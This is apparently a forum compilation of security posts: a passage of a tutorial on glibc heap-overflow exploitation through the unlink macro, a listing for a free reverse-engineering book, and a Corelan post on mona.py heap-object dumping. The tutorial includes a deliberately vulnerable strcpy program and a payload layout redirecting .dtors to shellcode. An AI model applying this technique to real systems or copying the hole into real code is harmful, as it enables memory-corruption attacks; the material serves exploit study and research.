in a given arena and another thread asks to allocate new memory, it is possible to create a new arena and use the newly created one to perform all the required operations. Each arena is described by the following structure: [INDENT] struct malloc_state { /* Serialize access. */ mutex_t mutex; /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. */ struct malloc_state *next_free; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; [/INDENT] In this structure, there’s the mutex for this arena, used during concurrent accesses, and two other really important fields: top and bins. The top field is a chunk of memory (the fundamental element of the allocator) and it’s where the data for which the space has been allocated are going to be stored. Each chunk in this is a memory fragment that can be allocated. At the beginning, there’s only one big chunk in the arena (called wilderness), which is pointed by the top field itself: this chunk is always free and its size represents the free space of the arena. Also it marks the end of the available space of the arena. The bins array is composed by double-linked lists to chunks that were allocated and that were successively freed (this means that, at the beginning, all the bins are empty). Each bin stores a list of chunks of specified size in order to allow the allocator to easily search for a free chunk, given the size: the research will be performed by starting looking for the smallest and best-fitting one. The chunk is described by the following structure: [INDENT] struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; [/INDENT] The different fields of this structure are used in different ways, depending on the status of the chunk itself. If the chunk is allocated, only the first two fields are present. The prev_size fields specifies the size of the previous chunk if the previous one is free (if it is allocated, then this field is “shared” with the previous chunk, enlarging it of 4 bytes, in order to decrease the waste of space), while the size field specifies the size of the current chunk. Then, if the chunk is in free state, there are in addition two pointers: fd and bk. These are the pointers used to double link the list of chunks. The other two pointers (present anyway only in free chunks) are not that important in this context and won’t be examined. How come there’s no flag to tell if the current chunk is free or allocated? Well, a feature of the chunks in this implementation is that they are 8-bytes aligned: this means that the last three bits of the size field can be used as general purpose flags. The LSB of the size variable tells us if the previous chunk is allocated or not (PREV_INUSE) The following bit tells if the chunk was allocated by using the mmap system call (IS_MMAPPED) The third bit specifies if the chunk is stored in the main arena or not (NON_MAIN_ARENA) In order to know if a given chunk is free or not it is necessary to get the next chunk by adding size to the pointer of the current chunk (obtaining the address of the next chunk), and checking the LSB of the size field of the next chunk. When the malloc function is called, the first thing done is to search in the bins if there’s already a previously-freed chunk available matching the specified size, otherwise, a new chunk is created in the wilderness next to last allocated one. If a chunk is found in the bins, it is necessary to remove it from the list, in order to keep the whole structure coherent. This is done by using the infamous unlink macro defined in malloc.c: this macro uses the bk and the fd fields of the chunk to be moved to perform its task. Before glibc 2.3.4 (released at the end of the 2004), the unlink macro was defined as follows: [INDENT] /* Take a chunk off a bin list */ #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ } [/INDENT] This macro is just an extraction of an item from a double-linked list: business as usual. If no space is available on the heap, new memory for the heap is requested to the operating system, by using the sbrk or the mmap system call (if mmap is used, then the chunk is marked with the IS_MMAPPED bit). The heap address where the chunk has been allocated is then returned to malloc. However there’s another situation in which the unlink macro may be used: during a free. In fact, if the chunk(s) next (both before and after) to the one that is going to be freed is/are not used, then all of them are merged together in one chunk. This means that all the chunks that were in free status before the merging need to be unlinked from the bins where they were by using the aforementioned macro. The resulting chunk is finally moved to the unsorted_chunks list On July 2000, Solar Designer on Openwall and then on November 2001 MaXX on Phrack #57, published two articles on how to exploit this macro. Their whole point is: what if it was possible to modify the fd and the bk pointers? In fact, if we look at the malloc_chunk structure, the whole unlink macro can be reduced to the following instructions: [INDENT] FD = *P + 8; BK = *P + 12; FD + 12 = BK; BK + 8 = FD; [/INDENT] This means that, if we could control the fd and the bk pointers, it would be possible to overwrite the FD+12 location with the BK content. If BK points to the shellcode address, that would be awesome. Actually the BK+8 location gets overwritten as well, and that would be in the middle of the shellcode itself: this means that the first instruction of the shellcode should jump over this overwritten part. Here the chance of overwriting any DWORD of memory is given: the problem is which one would be of any use to be overwritten? Overwriting the return address, just like in the stack overflows, is a painful, as it depends on the stack situation at the moment. Interesting alternatives would be about overwriting something in libc, an exception handler address, or the free function address itself. This means that every single function pointer can actually be overwritten. MaXX, in his article on Phrack, proposed the idea of overwriting the first function pointer emplacement in the .dtors section (he actually re-proposed the ideas already exposed in this article). gcc provides an interesting feature: constructors and destructors. The idea behind this is exactly the same used in C++ for classes. It is possible to specify attributes for some functions that will be automatically executed before the main function (constructors) or after (destructors). The declarations are specified in the following way: static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); where start and stop are arbitrary names for functions. The addresses of these functions will be stored, respectively, in the .ctors and in .dtors section in the following way: there are 4 bytes set to 0xFF at the beginning and 4 bytes set to 0x00 at the end and, in between, there are the addresses of the functions. Of course, if there are no constructors/destructors defined, the .ctors/.dtors section would look like 0xFFFFFFFF 0x00000000. The goal is to overwrite the 0x00000000 part with the address of the function that has to be executed as a constructor (the head MUST be left as 0xFFFFFFFF). So, the “only” thing left to do is to be able to control the fd and the bk pointers. How this can be done? To do this, two adjacent allocate chunks are required and an overflow must be possible on the first one. In fact, let’s say that we have the following piece of code: [INDENT] #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { char *first_buf; char *second_buf; first_buf = (char *)malloc(78 * sizeof(char)); second_buf = (char *)malloc(20 * sizeof(char)); strcpy(first_buf, argv[1]); free(first_buf); free(second_buf); return 0; } [/INDENT] The heap situation will look like: first_buf size has been aligned to 8-bit (so, from 78 to 80 byte of buffer space) and includes the prev_size and the size fields (80+4+4=88). In addition the LSB has been set to 1, as the chunk is used: the final size for this chunk is 89 (0x59). The second_buf chunk size is already 8-bit aligned and shares the first 4 bytes with the previous chunk: this means that the final size of the chunk itself is 25 (0x19), as the LSB is set as well. It is clear that, if we overflow first_buf, it is possible to overwrite the data of second_buf (metadata included). So here’s the strategy: The second_buf chunk must be “transformed” into a freed chunk The address of memory where the 4 bytes are going to be written (minus 12) must be stored in the fd field of the chunk storing second_buf The 4 bytes to be written must be stored in the bk field of the chunk storing second_buf The whole thing must be triggered when free(first_buf) is executed The strategy is pretty simple: the only tricky point is the first one, but its solution is simple and awesome. Glibc’s implementation of malloc checks if a chunk is free or not with the following macro: #define inuse_bit_at_offset(p, s) (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE) where p is the address of the chunk and s is its size (it actually checks the PREV_INUSE bit of the size field of the following chunk). This would mean modify a third chunk? Well, no… What if the size of the second chunk is set to 0? The size of the second chunk itself is read! As the size is set to 0, the PREV_INUSE bit is clear: according to glibc the second_buf is a free chunk. That’s everything we need, actually. The payload to be written in first_buf will be: 78 bytes of useless data 4 bytes of useless data overwriting the prev_size field of second_buf‘s chunk 4 bytes set to 0 overwriting the size field of second_buf‘s chunk 4 bytes set to the address of the last for bytes of dtors (the one having 0x00000000) overwriting the bk field of second_buf‘s chunk 4 bytes set to the address of the shellcode to be executed overwriting the fd field of second_buf‘s chunk This is really everything’s needed to execute an heap overflow exploiting the unlink macro bug. An alternative way of exploitation exists: the double-free scenario. What happens if the same chunk is freed twice? Some glibc’s versions ago, it would have been inserted twice in the free chunks list. Let’s say that one of these two chunks is then reallocated and that we modify the locations where the fd and bk fields are. Then let’s say that we get managed to allocate the “second” chunk still in the free list: as the unlink macro is called at allocation time as well, the whole mechanism is triggered again in a similar way. This trick known as the double-free exploitation, and even if it’s not THAT documented, there are known exploits aiming at this kind of vulnerability. Sadly, all this won’t work nowadays for four reasons: The RELRO technique (enabled by default on recent Linux distributions) marks the relocation sections used to dynamically dynamically loaded functions read-only (.ctors, .dtors, .jcr, .dynamic and .got): this means that the program crashes if it tries to modifies one of these sections. The __do_global_dtors_aux function (which is the one executing the destructors) has been hardened in 2007 in such a way that only the destructors actually defined in the code are going to be executed. As said at the beginning, the unlink macro has been hardened in order to check the pointers before unlinking: #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = BK; \ BK->fd = FD; \ } \ } In a normal situation P->fd->bk points to P (the same is true for P->bk->fd): if this isn’t the case, then it means that the pointers have been modified and that the double-linked list is corrupted. Checks for double free have been added more or less everywhere The next step in this field is the publication of another article on Phrack #61 by jp on August 2003 (still, some time before the unlink macro was patched on glibc) that aims at build a higher layer on what MaXX discovered two years before. jp’s main point is: what should I do if I know that I can write four bytes of its memory with almost any arbitrary data with the unlink technique? At the beginning of the paper he defined the new acronym aa4bmo meaning “Almost Arbitrary 4 Bytes Mirrored Overwrite” and for respect’s sake I will keep using this acronym from now on. When MaXX wrote his article, there was no NON_MAIN_ARENA bit, so what jp did is an update of the techniques exposed by MaXX in order to have them working on the 2003 version of glibc and the implementation of the aa4bmoPrimitive function that allows to write more or less complex programs exploiting the aforementioned vulnerability. Based on the aa4bmo primitive, Phantasmal Phantasmagoria wrote another interesting article called “Exploiting the Wilderness“: in fact he proved that, in case an overflowable buffer is located next to the wilderness, then it is possible to have the aa4bmo. Of course, this jp’s whole work (and everything else based on that) stopped working when the unlink macro was hardened. MaXX, jp and Phantasmal Phantasmagoria’s work were an important step in heap overflow exploitation’s history, as they opened minds to new roads and it didn’t take too much to realize that there were/are other ways to exploit heap overflows. In fact, in 2005 Phantasmal Phantasmagoria came out with a theoretical article Malloc Maleficarum and started a new rush to the heap overflow exploits. All these next steps will be explained in the next article. Sursa: x86 Exploitation 101: heap overflows… unlink me, would you please? | gb_master's /dev/null

[h=2]"Reverse Engineering for Beginners" free book[/h] Written by Dennis Yurichev (yurichev.com). [h=3]Praise for the book[/h] Its very well done .. and for free .. amazing.' (Daniel Bilar, Siege Technologies, LLC.) ...excellent and free (Pete Finnigan, Oracle RDBMS security guru.). ... book is interesting, great job! (Michael Sikorski, author of Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software.) ... my compliments for the very nice tutorial! (Herbert Bos, full professor at the Vrije Universiteit Amsterdam.) ... It is amazing and unbelievable. (Luis Rocha, CISSP / ISSAP, Technical Manager, Network & Information Security at Verizon Business.) Thanks for the great work and your book. (Joris van de Vis, SAP Netweaver & Security specialist.) ... reasonable intro to some of the techniques. (Mike Stay, teacher at the Federal Law Enforcement Training Center, Georgia, US.) [h=3]As seen on...[/h] ... hacker news: #1, #2, reddit: #1, #2, #3, #4, #5, #6, habrahabr. [h=3]Contents[/h] Topics discussed: x86, ARM. Topics touched: Oracle RDBMS, Itanium, copy-protection dongles, LD_PRELOAD, stack overflow, ELF, win32 PE file format, x86-64, critical sections, syscalls, TLS, position-independent code (PIC), profile-guided optimization, C++ STL, OpenMP, win32 SEH. [h=3]Download PDF files[/h] [TABLE] [TR] [TD=class: dl1]Download English version[/TD] [TD=class: dl2]A4 (for browsing or printing) [/TD] [TD=class: dl2]A5 (for ebook readers)[/TD] [/TR] [TR] [TD=class: dl1] ??????? ??????? ?????? [/TD] [TD=class: dl2] A4 (??? ????????? ??? ??????) [/TD] [TD=class: dl2] A5 (??? ??????????? ???????) [/TD] [/TR] [/TABLE] [h=3]Supplementary materials[/h]Exercises, exercise solutions[h=3]Be social![/h]Feel free to send me corrections, or, it's even possible to submit patches on book's source code (LaTeX) on GitHub or gitorious or Google Code or BitBucket, or SourceForge! There is also supporting forum! You may ask any questions there! Or write me an email: dennis(a)yurichev.com [h=3]News[/h]See ChangeLog [h=3]Stay tuned![/h]My current plans for this book: MIPS, Objective-C, Visual Basic, anti-debugging tricks, Windows NT kernel debugger, Java, .NET, Oracle RDBMS. Subscribe to my twitter. Here is also my blog. Web 2.0 hater? Subscribe to my mailing list for receiving updates of this book to email. [h=3]Please donate![/h][TABLE] [/TABLE] [TABLE] [TR] [TD=class: dl2]Ways to donate[/TD] [/TR] [/TABLE] This book is free, freely available, also in source code form (LaTeX), and it will be so forever, I have no plans for publishing. So if you want me to continue, you may consider donating. Several ways to are available on this page: donate. Every donor name will be included in the book! Donor also have a right to rearrange items in my writing plan. Sursa: "Reverse Engineering for Beginners" free book

Analyzing heap objects with mona.py Published August 16, 2014 | By Corelan Team (corelanc0d3r) Introduction Hi all, While preparing for my Advanced exploit dev course at Derbycon, I’ve been playing with heap allocation primitives in IE. One of the things that causes some frustration (or, at least, tends to slow me down during the research) is the ability to quickly identify objects that may be useful. After all, I’m trying to find objects that contain arbitrary data, or pointers to arbitrary data, and it’s not always easy to do so because of the noise. I decided to add a few new features to mona.py, that should allow you to find interesting objects in a faster way. The new features are only available under WinDBG. To get the latest version of mona, simply run !py mona up. Since I also upgraded to the latest version of pykd, you may have to update pykd.pyd as well before you can run the latest version of mona. (You should see update instructions in the WinDBG log window when you try to run mona with an outdated version of pykd) dumpobj (do) The first new feature is "dumpobj". This mona.py command will dump the contents of an object and provide (hopefully) useful information about the contents. The command takes the following arguments: Usage of command 'dumpobj' : ----------------------------- Dump the contents of an object. Arguments: -a <address> : Address of object -s <number> : Size of object (default value: 0x28 [COLOR=#5576D1]or[/COLOR] size of chunk) Optional arguments: -l <number> : Recursively dump objects -m <number> : Size [COLOR=#5576D1]for[/COLOR] recursive objects (default value: 0x28) As you can see in the output of !py mona help dumpobj above, we need to provide at least 2 arguments: -a <address> : the start location (address of the object, but you can specifiy any location you want) -s <number> : the size of the object. If you don’t specify the -s argument, mona will attempt to determine the size of the object. If that is not possible, mona will dump 0×28 bytes of the object. Additionally, you can tell mona to dump linked objects as well. Argument -l takes a number, which refers to the number of levels for the recursive dump. In order to somewhat limit the size of the output (and for performance reasons), only the first 0×28 bytes of the linked objects will be printed (unless you use argument -m to overrule this behavior). Of course, it is quite trivial to dump the contents of an object in WinDBG. The dds or dc commands will print out objects and show some information about its contents. In some cases, the output of dds/dc is not sufficient and it would require some additional work to further analyze the object and optional objects that are linked inside this object. Let’s look at an example. Let’s say we have a 0×78 byte object at 0x023a1bc0. Of course, we can dump the contents of the object using native WinDBG commands: 0:001> dds 0x023a1bc0 L 0x78/4 023a1bc0 023a1d30 023a1bc4 023a1818 023a1bc8 00000000 023a1bcc 023a1d3c 023a1bd0 023a1824 023a1bd4 baadf00d 023a1bd8 00020000 023a1bdc 00000001 023a1be0 00160014 023a1be4 023a1a38 023a1be8 013a0138 023a1bec 023a1a68 023a1bf0 00000000 023a1bf4 00000001 023a1bf8 023a18a8 023a1bfc 00000000 023a1c00 00000000 023a1c04 00000007 023a1c08 00000007 023a1c0c 023a18d0 023a1c10 00000000 023a1c14 00000000 023a1c18 00000000 023a1c1c 00000000 023a1c20 00000000 023a1c24 00000000 023a1c28 00000000 023a1c2c 00000000 023a1c30 00000000 023a1c34 00000000 0:001> dc 0x023a1bc0 L 0x78/4 023a1bc0 023a1d30 023a1818 00000000 023a1d3c 0.:...:.....<.:. 023a1bd0 023a1824 baadf00d 00020000 00000001 $.:............. 023a1be0 00160014 023a1a38 013a0138 023a1a68 ....8.:.8.:.h.:. 023a1bf0 00000000 00000001 023a18a8 00000000 ..........:..... 023a1c00 00000000 00000007 00000007 023a18d0 ..............:. 023a1c10 00000000 00000000 00000000 00000000 ................ 023a1c20 00000000 00000000 00000000 00000000 ................ 023a1c30 00000000 00000000 ........ Nice. We can see all kinds of things – values that appear to be pointers, nulls, and some other "garbage". Hard to tell what it is without looking at each value individually. With mona, we can dump the same object, and mona will attempt to gather more information about each dword in the object: 0:001> !py mona [COLOR=#5576D1]do[/COLOR] -a 0x023a1bc0 Hold on... [+] No size specified, checking [COLOR=#5576D1]if[/COLOR] address is part of known heap chunk Address found [COLOR=#5576D1]in[/COLOR] chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78 ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x78 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x78 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 [+] This mona.py action took 0:00:00.579000 Apparently some of the values in the object point at strings (ASCII and Unicode), another point appears to link to another object (ADVAPI32!g_CodeLevelObjTable+0×4). This is a lot more useful than dds or dc. But we can make it even better. We can tell mona to automatically print out linked objects as well, up to any level deep. Let’s repeat the mona command, this time asking for linked objects up to one level deep: 0:001> !py mona [COLOR=#5576D1]do[/COLOR] -a 0x023a1bc0 -l 1 Hold on... [+] No size specified, checking [COLOR=#5576D1]if[/COLOR] address is part of known heap chunk Address found [COLOR=#5576D1]in[/COLOR] chunk 0x023a1bb8, heap 0x00240000, (user)size 0x78 ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x78 bytes [+] Also dumping up to 1 levels deep, max size of nested objects: 0x28 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x78 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 (Heap) ptr to 0x00000101 : +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1d3c (0x28 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1d3c | 0x77e46464 ADVAPI32!g_CodeLevelObjTable+0x4 +04 0x023a1d40 | 0x023a1bcc (Heap) ptr to ASCII '<:$:' +08 0x023a1d44 | 0xbaadf00d +0c 0x023a1d48 | 0x00040000 = UNICODE ' ' +10 0x023a1d4c | 0x00000101 +14 0x023a1d50 | 0x001a0018 = UNICODE '' +18 0x023a1d54 | 0x023a1c50 (Heap) ptr to UNICODE 'Unrestricted' +1c 0x023a1d58 | 0x0090008e (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +20 0x023a1d5c | 0x023a1c88 (Heap) ptr to UNICODE 'Software access rights are determined by the access rights of the user.' +24 0x023a1d60 | 0x00000000 >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a18a8 (0x28 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a18a8 | 0x00000101 +04 0x023a18ac | 0x05000000 +08 0x023a18b0 | 0x0000000a +0c 0x023a18b4 | 0xabababab +10 0x023a18b8 | 0xabababab +14 0x023a18bc | 0xfeeefeee +18 0x023a18c0 | 0x00000000 +1c 0x023a18c4 | 0x00000000 +20 0x023a18c8 | 0x0005000a = UNICODE '' +24 0x023a18cc | 0x051807c2 [+] This mona.py action took 0:00:00.640000 As you can see in the output above, mona determined that the source object contained references to 2 linked objects, and decided to dump those linked object as well. It’s important to know that mona won’t consider strings (ASCII or Unicode) as objects, because mona already shows the strings, even if they are referenced inside the object. The output of the dumpobj command is written to a text file called "dumpobj.txt". For your info, the output of !mona info -a <address> includes the output of mona dumpobj (without printing recursive objects). If you want to understand what exactly a given address is, you’ll get something like this: 0:001> !py mona info -a 0x023a1bc0 Hold on... [+] Generating [COLOR=#5576D1]module[/COLOR] info table, hang on... - Processing modules - Done. Let's rock 'n roll. [+] NtGlobalFlag: 0x00000070 0x00000040 : +hpc - Enable Heap Parameter Checking 0x00000020 : +hfc - Enable Heap Free Checking 0x00000010 : +htc - Enable Heap Tail Checking [+] Information about address 0x023a1bc0 {PAGE_READWRITE} Address is part of page 0x013c0000 - 0x023a2000 This address resides [COLOR=#5576D1]in[/COLOR] the heap Address 0x023a1bc0 found [COLOR=#5576D1]in[/COLOR] _HEAP @ 00240000, Segment @ 013c0040 ( bytes ) (bytes) HEAP_ENTRY Size PrevSize Unused Flags UserPtr UserSize Remaining - state 023a1bb8 00000090 00000158 00000018 [07] 023a1bc0 00000078 00000010 Fill pattern,Extra present,Busy ([COLOR=#00008b]hex[/COLOR]) 00000144 00000344 00000024 00000120 00000016 Fill pattern,Extra present,Busy (dec) Chunk header size: 0x8 (8) Size initial allocation request: 0x78 (120) Total space [COLOR=#5576D1]for[/COLOR] data: 0x88 (136) Delta between initial size [COLOR=#5576D1]and[/COLOR] total space [COLOR=#5576D1]for[/COLOR] data: 0x10 (16) [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Data.html"]Data[/URL] : 30 1d 3a 02 18 18 3a 02 00 00 00 00 3c 1d 3a 02 24 18 3a 02 0d f0 ad ba 00 00 02 00 01 00 00 00 ... ---------------------------------------------------- [+] Dumping object at 0x023a1bc0, 0x90 bytes [+] Preparing output file 'dumpobj.txt' - (Re)setting logfile c:\logs\HeapAlloc2\dumpobj.txt >> [URL="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html"]Object[/URL] at 0x023a1bc0 (0x90 bytes): Offset Address Contents Info ------ ------- -------- ----- +00 0x023a1bc0 | 0x023a1d30 (Heap) ptr to ASCII '0::' +04 0x023a1bc4 | 0x023a1818 (Heap) ptr to ASCII ':' +08 0x023a1bc8 | 0x00000000 +0c 0x023a1bcc | 0x023a1d3c (Heap) ptr to 0x77e46464 : ADVAPI32!g_CodeLevelObjTable+0x4 +10 0x023a1bd0 | 0x023a1824 (Heap) ptr to ASCII ':' +14 0x023a1bd4 | 0xbaadf00d +18 0x023a1bd8 | 0x00020000 = UNICODE ' ' +1c 0x023a1bdc | 0x00000001 +20 0x023a1be0 | 0x00160014 = UNICODE '' +24 0x023a1be4 | 0x023a1a38 (Heap) ptr to UNICODE 'Basic User' +28 0x023a1be8 | 0x013a0138 (Heap) ptr to ASCII 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...' +2c 0x023a1bec | 0x023a1a68 (Heap) ptr to UNICODE 'Allows programs to execute as a user that does [COLOR=#5576D1]not[/COLOR] have Administrator [COLOR=#5576D1]or[/COLOR] Power User access rights, but can still access resouces accessible by normal users.' +30 0x023a1bf0 | 0x00000000 +34 0x023a1bf4 | 0x00000001 +38 0x023a1bf8 | 0x023a18a8 (Heap) ptr to 0x00000101 : +3c 0x023a1bfc | 0x00000000 +40 0x023a1c00 | 0x00000000 +44 0x023a1c04 | 0x00000007 +48 0x023a1c08 | 0x00000007 +4c 0x023a1c0c | 0x023a18d0 (Heap) ptr to ASCII ' :H:[COLOR=#00008b]p[/COLOR]:' +50 0x023a1c10 | 0x00000000 +54 0x023a1c14 | 0x00000000 +58 0x023a1c18 | 0x00000000 +5c 0x023a1c1c | 0x00000000 +60 0x023a1c20 | 0x00000000 +64 0x023a1c24 | 0x00000000 +68 0x023a1c28 | 0x00000000 +6c 0x023a1c2c | 0x00000000 +70 0x023a1c30 | 0x00000000 +74 0x023a1c34 | 0x00000000 +78 0x023a1c38 | 0xabababab +7c 0x023a1c3c | 0xabababab +80 0x023a1c40 | 0x00000000 +84 0x023a1c44 | 0x00000000 +88 0x023a1c48 | 0x00120007 = UNICODE '' +8c 0x023a1c4c | 0x051e0752 [+] Disassembly: Instruction at 023a1bc0 : XOR BYTE PTR [B]dumplog (dl)[/B] It is clear that the dumpobj command will make it easier to visualize important information inside an object. This is certainly helpful if you already know the starting object. What if you have been logging all Heap allocations and free operations in the application and storing the output in a log file? Even a few lines of javascript code can be quite noisy from a Heap perspective, making it less trivial to identify interesting objects. To make our lives easier, I decided to implement "dumplog", which will parse a log file (based on a certain syntax) and perform a "dumpobj" on each object that has been allocated, but not freed. In the current version, dumplog will not dump linked objects, but I plan on adding this feature soon. (probably tomorrow) Dumplog requires a proper setup. We need to tell WinDBG to create a log file that follows a specific convention, and we obviously must run mona dumplog in the same debug session (to make sure the logged allocations and free operations are still relevant). The output of "!py mona help dumplog" shows this: Usage of command 'dl' : ------------------------ Dump all objects recorded in an alloc/free log Note: dumplog will only dump objects that have not been freed in the same logfile. Expected syntax for log entries: Alloc : 'alloc(size in hex) = address' Free : 'free(address)' Additional text after the alloc & free info is fine. Just make sure the syntax matches exactly with the examples above. Arguments: -f [COLOR=#5576D1]<[/COLOR][COLOR=#800000]path[/COLOR]/[COLOR=#ff0000]to[/COLOR]/[COLOR=#ff0000]logfile[/COLOR][COLOR=#5576D1]>[/COLOR] : Full path to the logfile The idea is to log all Heap allocations and free operations to a log file. In WinDBG this can be achieved using the following steps: Before running the process and triggering the alloc/free operations that you want to capture and analyze, tell WinDBG to write the output of the log window to a text file: .logclose .logopen c:\\allocs.txt Next, set up 2 logging breakpoints: bp !ntdll + 0002e12c ".printf \"alloc(0x%x) = 0x%p\", poi(esp+c), eax; .echo; g" bp ntdll!RtlFreeHeap "j (poi(esp+c)!=0) '.printf \"free(0x%p)\", poi(esp+c); .echo; g'; 'g';" (based on a recent version of kernel32.dll, Windows 7 SP1). These 2 breakpoints will print a message to the WinDBG log window each time RtlAllocateHeap and RtlFreeHeap are called, printing out valuable information about the API call. It’s important to stick to this format, but you are free to add more text to the end of the message string. With these 2 breakpoints active, and WinDBG configured to start writing the output of the log window to a text file, we can run the application. When you’re ready to do analysis, break WinDBG. 